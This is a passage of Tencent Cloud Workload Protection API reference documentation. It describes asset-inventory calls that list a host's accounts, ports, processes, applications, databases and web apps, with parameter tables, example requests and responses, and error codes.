"Quuid": "7dc822ab-1eaa-d469-67e2-0eed63e8be9c",
"Uuid": "7dc822ab-1eaa-d469-67e2-0eed63e8be9c",
"MachineIp": "172.16.255.135",
"MachineName": "aaa_worker",
"ProjectId": 0,
"OsInfo": "TencentOS Server 3.1 (TK4)",
"Cpu": "",
"MemSize": 0,
"MemLoad": "",
"DiskSize": 0,
"DiskLoad": "",
"PartitionCount": 0,
"MachineWanIp": "172.16.255.135",
"CpuSize": 0,
"CpuLoad": "",
```

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```
"ProtectLevel": 2,
"RiskStatus": "Unknown",
"ProtectDays": 0,
"BuyTime": "2023-12-26 10:30:02",
"EndTime": "2024-01-10 10:51:11",
"CoreVersion": "",
"OsType": "",
"AgentVersion": "5.1.0.150",
"InstallTime": "2023-12-26 10:22:03",
"BootTime": "",
"LastLiveTime": "2023-12-26 10:28:44",
"Producer": "",
"SerialNumber": "",
"DeviceVersion": "",
"Status": 0,
"CpuLoadVul": "50",
"FirstTime": "2023-12-26 10:28:44",
"NetCards": [],
"Disks": [],
"OfflineTime": "",
"InstanceId": "ins-aaaa",
"UpdateTime": "--",
"MachineExtraInfo": {
"WanIP": "172.16.255.135",
"PrivateIP": "172.16.255.135",
"NetworkType": 1,
"NetworkName": "vpc-aaaa",
"InstanceID": "ins-aaaa",
"HostName": "aaa_worker"
}
},
"RequestId": "c063defb-30b0-4667-b042-e06ecaa19f09"
}
}
```


5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for PHP
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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribeAssetUserList

Last updated：2024-12-06 15:41:58

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the list of accounts.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeAssetUserList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Quuid	No	String	Query the information on the host with the specified QUUID
Filters.N	No	Array of Filter	Filter criteria • IP - String - required: no - host IP address • MachineName - String - required: no - host name • InstanceID - string - required: no - instance ID • • Name - String - required: no - account name (fuzzy match) • NameStrict - String - required: no - account name (strict match) • Uid - uint64 - required: no - UID • Guid - uint64 - required: no - GUID • LoginTimeStart - String - required: no - start time, such as 2021-01-11

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			• LoginTimeEnd - String - required: no - end time, such as 2021-01-11 • LoginType - uint64 - required: no - 0 - not allowed to log in; 1 - only key-b in allowed; 2 - only password-based log-in allowed; 3 - both key-based and based log-in allowed (Linux only) • OsType - String - required: no - Windows or Linux • Status - uint64 - required: no - account status: 0 - disabled; 1 - enabled • UserType - uint64 - required: no - account type: 0 - guest user; 1 - standa - administrator user (Windows Only) • IsDomain - uint64 - required: no - whether a domain account: 0 - no; 1 - y (Windows only) • IsRoot - uint64 - required: no - whether there is root permission: 0 - no; 1 (Linux only) • IsSudo - uint64 - required: no - whether there is sudo permission: 0 - no; (Linux only) • IsSshLogin - uint64 - required: no - whether to use SSH log-in: 0 - no; 1 - only) • ShellLoginStatus - uint64 - required: no - whether to use Shell log-in: 0 - (Linux only) • PasswordStatus - uint64 - required: no - password status: 1 - normal; 2 - soon; 3 - expired; 4 - locked (Linux only) • Os -String required: no - operating system (the value of DescribeMachin API)
Limit	No	Integer	Number of items to be returned. It is 10 by default, and the maximum value i
Offset	No	Integer	Offset, which is 0 by default.
Order	No	String	Sorting method: asc for ascending order or desc for descending order
By	No	String	Optional sorting method: [FirstTime|LoginTime|PasswordChangeTime|PasswordDuaTime|Password

3. Output Parameters

Parameter Name	Type	Description
Total	Integer	Total number of records
Users	Array of AssetUserBaseInfo	Account list Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every

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		request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining an Account List

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeAssetUserList
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
"Total": 1,
"Users": [
{
"MachineIp": "10.0.0.11",
"MachineWanIp": "110.84.0.11",
"MachineName": "test-name",
"OsInfo": "CentOs Bit64",
"Uuid": "24c9be55-c743-4a75-a5c7-2a2912341234",
"Quuid": "24c9be55-c743-4a75-a5c7-2a2912341234",
"Uid": "1001",
"Gid": "1002",
"Status": 1,
"IsRoot": 1,
"LoginType": 1,
"LastLoginTime": "2024-10-11 12:23:34",
"Name": "test-name",
"ProjectId": 1,
"UserType": 1,
"IsDomain": 1,
"IsSudo": 1,
"IsSshLogin": 1,
"HomePath": "/root",
```

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```
"Shell": "/bin/sh",
"ShellLoginStatus": 1,
"PasswordChangeTime": "2024-10-11 12:23:34",
"PasswordDueTime": "2024-10-11 12:23:34",
"PasswordLockDays": 0,
"PasswordStatus": 0,
"UpdateTime": "2024-10-11 12:23:34",
"FirstTime": "2024-10-11 12:23:34",
"IsNew": 0,
"MachineExtraInfo": {
"WanIP": "110.84.0.11",
"PrivateIP": "10.0.0.11",
"NetworkType": 0,
"NetworkName": "vpc-12341234",
"InstanceID": "ins-aj28fjz",
"HostName": "test-name"
}
}
],
"RequestId": "37b6df34-68f1-4ab8-a3d8-7b89de604c82"
}
}
```


5. Developer Resources

SDK

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Command Line Interface

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.DateRange	Incorrect time range format.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.

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DescribeAssetUserInfo

Last updated：2024-12-06 15:41:59

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain host account details.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeAssetUserInfo.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Quuid	Yes	String	CVM UUID
Uuid	Yes	String	CWPP UUID
Name	Yes	String	Account name

3. Output Parameters

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Parameter Name	Type	Description
User	AssetUserDetail	Detailed user information
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining Host Account Details

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeAssetUserInfo
<Common request parameters>

{
"Quuid": "xx",
"Uuid": "xx",
"Name": "xx"
}
```

Output Example

```
{
"Response": {
"User": {
"MachineIp": "10.0.0.11",
"MachineName": "test-name",
"Uuid": "24c9be55-c743-4a75-a5c7-2a2912341234",
"Quuid": "24c9be55-c743-4a75-a5c7-2a2912341234",
"Uid": "1011223",
"Gid": "1011223",
"Status": 1,
"IsRoot": 1,
"LastLoginTime": "2024-10-11 12:23:34",
"Name": "test-name",
"UserType": 1,
"IsDomain": 1,
```

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```
"IsSshLogin": 1,
"HomePath": "/root",
"Shell": "/bin/sh",
"ShellLoginStatus": 1,
"PasswordChangeTime": "2024-10-11 12:23:34",
"PasswordDueTime": "2024-10-11 12:23:34",
"PasswordLockDays": 0,
"Remark": "halt",
"GroupName": "test-name",
"DisableTime": "2024-10-11 12:23:34",
"LastLoginTerminal": "ssh******",
"LastLoginLoc": "usa",
"LastLoginIp": "10.0.0.11",
"PasswordWarnDays": 1,
"PasswordChangeType": 1,
"Keys": [
{
"Value": "test1",
"Comment": "name",
"EncryptType": "md5"
}
],
"UpdateTime": "2024-10-11 12:23:34"
},
"RequestId": "37b6df34-68f1-4ab8-a3d8-7b89de604c82"
}
}
```


5. Developer Resources

SDK

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InternalError.MainDBFail	Failed to manipulate the data.
InvalidParameter.MissingParameter	Missing parameter.

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DescribeAssetPortInfoList

Last updated：2024-12-06 15:42:03

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the list of asset management ports.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeAssetPortInfoList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Quuid	No	String	Query information of a specified QUUID host
Filters.N	No	Array of Filter	Filter criteria • Port - uint64 - Required: no - port • IP - String - required: no - host IP address • MachineName - String - required: no - host name • InstanceID - string - required: no - instance ID • ProcessName - String - Required: no - process name • Pid - uint64 - Required: no - PID • User - String - required: no - running user • Group - String - Required: no - user group

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			• Ppid - uint64 - Required: no - PPID • Proto - string - Required: no - tcp/udp or "" (empty string to filter unknown status) • OsType - uint64 - required: no - Windows/Linux • RunTimeStart - String - required: no - running start time • RunTimeEnd - String - required: no - running end time • Os - String required: no - operating system (value of DescribeMachineOsList)
Limit	No	Integer	Number of results to be returned. Default value: 10. Maximum value: 100.
Offset	No	Integer	Offset. Default value: 0.
Order	No	String	Sorting method: asc for ascending order or desc for descending order
By	No	String	Sorting method: [FirstTime|StartTime]

3. Output Parameters

Parameter Name	Type	Description
Total	Integer	Total number of records
Ports	Array of AssetPortBaseInfo	List Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining an Asset Management Port List

Input Example

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```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeAssetPortInfoList
<Common request parameters>

{}
```

Output Example


```
{
"Response": {
"Total": 1,
"Ports": [
{
"MachineIp": "10.0.0.11",
"MachineWanIp": "110.84.0.11",
"Quuid": "24c9be55-c743-4a75-a5c7-2a2912341234",
"Uuid": "24c9be55-c743-4a75-a5c7-2a2912341234",
"OsInfo": "CentOs Bit64",
"ProjectId": 1,
"Tag": [
{
"Rid": 0,
"Name": "test-name",
"TagId": 1
}
],
"ProcessName": "test-name",
"ProcessVersion": "0.1.1",
"ProcessPath": "/data",
"Pid": "1024",
"User": "root",
"StartTime": "2024-10-11 12:23:34",
"Param": "null",
"Teletype": "1",
"Port": "22",
"GroupName": "test-name",
"Md5": "708cae4cf814c3deda4208da228fad4e",
"Ppid": "1",
"ParentProcessName": "test-name",
"Proto": "http",
"BindIp": "10.0.0.11",
"MachineName": "test-name",
"UpdateTime": "2024-10-11 12:23:34",
```


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```
"FirstTime": "2024-10-11 12:23:34",
"IsNew": 0,
"MachineExtraInfo": {
"WanIP": "110.84.0.11",
"PrivateIP": "10.0.0.11",
"NetworkType": 0,
"NetworkName": "vpc-12341234",
"InstanceID": "ins-aj28fjz",
"HostName": "test-name"
}
}
],
"RequestId": "37b6df34-68f1-4ab8-a3d8-7b89de604c82"
}
}
```


5. Developer Resources

SDK

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description

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InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribeAssetProcessInfoList

Last updated：2024-12-06 15:42:02

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the list of asset management processes.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeAssetProcessInfoList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Quuid	No	String	Query the information on the host with the specified QUUID
Filters.N	No	Array of Filter	Filtering criteria • IP - String - required: no - host IP address • MachineName - String - required: no - host name • InstanceID - string - required: no - instance ID • Name - String - required: no - process name • User - String - required: no - process user • Group - String - required: no - process user group • Pid - uint64 - required: no - process ID • Ppid - uint64 - required: no - parent process ID

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			• OsType - uint64 - required: no - Windows/Linux • Status - string - required: no - process status: 1: R, runnable 2: S, interruptible 3: D, uninterruptible 4: T, stopped or traced 5: Z, zombie 6: X, to be terminated • RunTimeStart - String - required: no - running start time • RunTimeEnd - String - required: no - running end time • InstallByPackage - uint64 - required: no - whether to install by package: 0: no; 1: yes • Os - String required: no - operating system (value of DescribeMachineOsList)
Limit	No	Integer	Number of items to be returned. It is 10 by default, and the maximum value is 100.
Offset	No	Integer	Offset. Default value: 0.
Order	No	String	Sorting method: asc for ascending order or desc for descending order
By	No	String	Sorting method: [FirstTime|StartTime]

3. Output Parameters

Parameter Name	Type	Description
Total	Integer	Total number of records
Process	Array of AssetProcessBaseInfo	List Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

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Example1 Obtaining Asset Management Process List

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeAssetProcessInfoList
<Common request parameters>

{}
```

Output Example


```
{
"Response": {
"Total": 1,
"Process": [
{
"MachineIp": "10.0.0.11",
"MachineWanIp": "110.84.0.11",
"Quuid": "acdd5474-6360-4fd4-bfc7-843162cb8116",
"Uuid": "acdd5474-6360-4fd4-bfc7-843162cb8116",
"OsInfo": "CentOs Bit64",
"ProjectId": 1,
"Tag": [
{
"Rid": 0,
"Name": "test-name",
"TagId": 1
}
],
"Name": "test-name",
"Desc": "none",
"Path": "/root",
"Pid": "10011",
"User": "root",
"StartTime": "2024-10-11 12:23:34",
"Param": "iparam",
"Tty": "/bin",
"Version": "0.1.1.1",
"GroupName": "test-name",
"Md5": "708cae4cf814c3deda4208da228fad4e",
"Ppid": "22",
"ParentProcessName": "test-name",
"Status": "Running",
```


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```
"HasSign": 1,
"InstallByPackage": 1,
"PackageName": "test-name",
"MachineName": "test-name",
"UpdateTime": "2024-10-11 12:23:34",
"FirstTime": "2024-10-11 12:23:34",
"IsNew": 0,
"MachineExtraInfo": {
"WanIP": "110.84.0.11",
"PrivateIP": "10.0.0.11",
"NetworkType": 0,
"NetworkName": "vpc-11",
"InstanceID": "ins-aj28fjz",
"HostName": "test-name"
}
}
],
"RequestId": "37b6df34-68f1-4ab8-a3d8-7b89de604c82"
}
}
```


5. Developer Resources

SDK

TencentCloud API 3.0 integrates SDKs that support various programming languages to make it easier for you to call APIs.

- Tencent Cloud SDK 3.0 for Python
- Tencent Cloud SDK 3.0 for Java
- Tencent Cloud SDK 3.0 for PHP
- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

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The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribeAssetAppList

Last updated：2024-12-06 15:42:12

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query the application list.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeAssetAppList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Quuid	No	String	Query information of a specified QUUID host
Filters.N	No	Array of AssetFilters	Filter criteria • AppName - string - required: no - application name for search • IP - String - required: no - host IP address • MachineName - String - required: no - host name • InstanceID - string - required: no - instance ID • Type - int - required: no - type : Linux only 0: all 1: operations

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			2: database 3: Security 4: suspicious application 5: system architecture 6: system application 7: web service 99: other • OsType - uint64 - required: no - Windows/Linux • Os - String required: no - operating system (value of DescribeMachineOsList)
Limit	No	Integer	Number of items to be returned. It is 10 by default, and the maximum value is 100.
Offset	No	Integer	Offset, which defaults to 0
Order	No	String	Sorting method: asc for ascending order or desc for descending order
By	No	String	Sorting field: [FirstTime|ProcessCount]

3. Output Parameters

Parameter Name	Type	Description
Apps	Array of AssetAppBaseInfo	Application list Note: This field may return null, indicating that no valid values can be obtained.
Total	Integer	Total number
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Querying the Application List

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeAssetAppList
<Common request parameters>

{}
```

Output Example


```
{
"Response": {
"Apps": [
{
"MachineIp": "10.0.0.11",
"MachineName": "test-name",
"MachineWanIp": "110.84.0.11",
"Uuid": "24c9be55-c743-4a75-a5c7-2a2912341234",
"Quuid": "24c9be55-c743-4a75-a5c7-2a2912341234",
"ProjectId": 1,
"Tag": [
{
"Rid": 0,
"Name": "test-name",
"TagId": 1
}
],
"Name": "test-name",
"Type": 1,
"BinPath": "/root",
"OsInfo": "CentOs Bit64",
"ProcessCount": 1,
"Desc": "idesc",
"Version": "0.1.1",
"ConfigPath": "/root",
"FirstTime": "2024-10-11 12:23:34",
"UpdateTime": "2024-10-11 12:23:34",
"IsNew": 0,
"MachineExtraInfo": {
"WanIP": "110.84.0.11",
"PrivateIP": "10.0.0.11",
"NetworkType": 0,
"NetworkName": "vpc-12341234",
"InstanceID": "ins-aj28fjz",
"HostName": "test-name"
```


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```
}
}
],
"Total": 1,
"RequestId": "37b6df34-68f1-4ab8-a3d8-7b89de604c82"
}
}
```


5. Developer Resources

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- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.

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InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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DescribeAssetAppProcessList

Last updated：2024-12-06 15:42:12

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the list of software's associated processes.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeAssetAppProcessList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Quuid	Yes	String	Host QUUID
Uuid	Yes	String	Host UUID
Name	Yes	String	App name
Offset	No	Integer	Offset. Default value: 0.
Limit	No	Integer	Number of entries to be returned. Default value: 10. Maximum value: 100.

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3. Output Parameters

Parameter Name	Type	Description
Process	Array of AssetAppProcessInfo	Process list Note: This field may return null, indicating that no valid values can be obtained.
Total	Integer	Total number of partitions
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining the List of Processes Associated with Software

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeAssetAppProcessList
<Common request parameters>

{
"Name": "xx",
"Offset": 1,
"Limit": 1,
"Uuid": "xx",
"Quuid": "xx"
}
```

Output Example

```
{
"Response": {
"Process": [
{
"Status": "S",
```

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```
"Name": "test-name",
"Version": "0.1.1",
"User": "root",
"StartTime": "2024-10-11 12:23:34",
"Path": "/root"
}
],
"Total": 1,
"RequestId": "37b6df34-68f1-4ab8-a3d8-7b89de604c82"
}
}
```


5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.

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InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribeAssetDatabaseList

Last updated：2024-12-06 15:42:09

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query the list of asset management databases.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeAssetDatabaseList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Quuid	No	String	Query information of a specified QUUID host
Filters.N	No	Array of AssetFilters	Filter criteria • MachineName - String - required: no - host alias for filtering • IP - String - required: no - host IP address for filtering • InstanceID - String - required: no - host instance ID for filtering • User- string - required: no - running user • Port - Int - required: no - port • Name - Int - required: no - database name 0: all

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			1:MySQL 2:Redis 3:Oracle 4:MongoDB 5:MemCache 6:PostgreSQL 7:HBase 8:DB2 9:Sybase 10:TiDB • Proto - String - required: no - protocol: 1: TCP; 2: UDP; 3: unknown • OsType - String - required: no - operating system: linux/windows • Os - String required: no - operating system (value of DescribeMachineOsList)
Offset	No	Integer	Offset. Default value: 0.
Limit	No	Integer	Number of results to be returned. Default value: 10. Maximum value: 100.
Order	No	String	Sorting method: asc for ascending order or desc for descending order
By	No	String	Sorting method: [FirstTime]

3. Output Parameters

Parameter Name	Type	Description
Databases	Array of AssetDatabaseBaseInfo	List Note: This field may return null, indicating that no valid values can be obtained.
Total	Integer	Total number
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

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4. Example

Example1 Querying Asset Management Database List

This example shows you how to query the asset management database list.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeAssetDatabaseList
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
"Databases": [
{
"MachineIp": "10.0.0.11",
"MachineWanIp": "1.1.1.1",
"Quuid": "24c9be55-c743-4a75-a5c7-2a2912341234",
"Uuid": "24c9be55-c743-4a75-a5c7-2a2912341234",
"OsInfo": "CentOs Bit64",
"ProjectId": 1,
"Tag": [
{
"Rid": 0,
"Name": "test-name",
"TagId": 1
}
],
"Name": "test-name",
"Version": "0.1.1",
"Port": "22",
"Proto": "tcp",
"User": "root",
"Ip": "10.0.0.11",
"ConfigPath": "/root",
"LogPath": "/root",
"DataPath": "/root",
"Permission": "root",
```

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```
"ErrorLogPath": "/root",
"PlugInPath": "/root",
"BinPath": "/root",
"Param": "iparam",
"Id": "10001",
"UpdateTime": "2024-10-11 12:23:34",
"FirstTime": "2024-10-11 12:23:34",
"IsNew": 0,
"MachineName": "test-name",
"MachineExtraInfo": {
"WanIP": "1.1.1.1",
"PrivateIP": "10.0.0.11",
"NetworkType": 0,
"NetworkName": "vpc-id",
"InstanceID": "ins-id",
"HostName": "test-name"
}
}
],
"Total": 1,
"RequestId": "37b6df34-68f1-4ab8-a3d8-7b89de604c82"
}
}
```


5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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DescribeAssetDatabaseInfo

Last updated：2024-12-06 15:42:10

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the asset management database details.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeAssetDatabaseInfo.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Quuid	Yes	String	Server QUUID
Uuid	Yes	String	Server UUID
Id	Yes	String	Database ID

3. Output Parameters

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Parameter Name	Type	Description
Database	AssetDatabaseDetail	Database details
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining Asset Management Database Details

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeAssetDatabaseInfo
<Common request parameters>

{
"Quuid": "xx",
"Uuid": "xx",
"Id": "xx"
}
```

Output Example

```
{
"Response": {
"RequestId": "37b6df34-68f1-4ab8-a3d8-7b89de604c82",
"Database": {
"OsInfo": "CentOs Bit64",
"UpdateTime": "2024-10-11 12:23:34",
"MachineWanIp": "1.1.1.1",
"Uuid": "24c9be55-c743-4a75-a5c7-2a2912341234",
"Proto": "tcp",
"ErrorLogPath": "/root",
"Ip": "10.0.0.11",
"Permission": "root",
"LogPath": "/root",
"DataPath": "/root",
```

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```
"Param": "--config",
"ConfigPath": "/root",
"BinPath": "/root",
"Version": "0.1.1",
"Quuid": "24c9be55-c743-4a75-a5c7-2a2912341234",
"PlugInPath": "/root",
"Name": "test-name",
"Port": "22",
"MachineIp": "10.0.0.11",
"User": "root"
}
}
}
```


5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error

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InvalidParameter	Incorrect parameter.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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DescribeAssetWebAppList

Last updated：2024-12-06 15:41:57

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the list of asset management web applications.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeAssetWebAppList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Quuid	No	String	Query the information on the host with the specified QUUID
Filters.N	No	Array of Filter	Filtering criteria • IP - String - required: no - host IP address • MachineName - String - required: no - host name • InstanceID - string - required: no - instance ID • Name - String - required: no - application name • Domain - String - required: no - site domain name • Type - int - required: no - service type: 0: all 1:Tomcat

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			2:Apache 3:Nginx 4:WebLogic 5:Websphere 6:JBoss 7:Jetty 8:IHS 9:Tengine • OsType - String - required: no - Windows/Linux • Os - String required: no - operating system (value of DescribeMachineOsList)
Offset	No	Integer	Offset. Default value: 0.
Limit	No	Integer	Number of entries to be returned. Default value: 10. Maximum value: 100.
Order	No	String	Sorting method: asc for ascending order or desc for descending order
By	No	String	Sorting method: [FirstTime|PluginCount]

3. Output Parameters

Parameter Name	Type	Description
Total	Integer	Total number of records
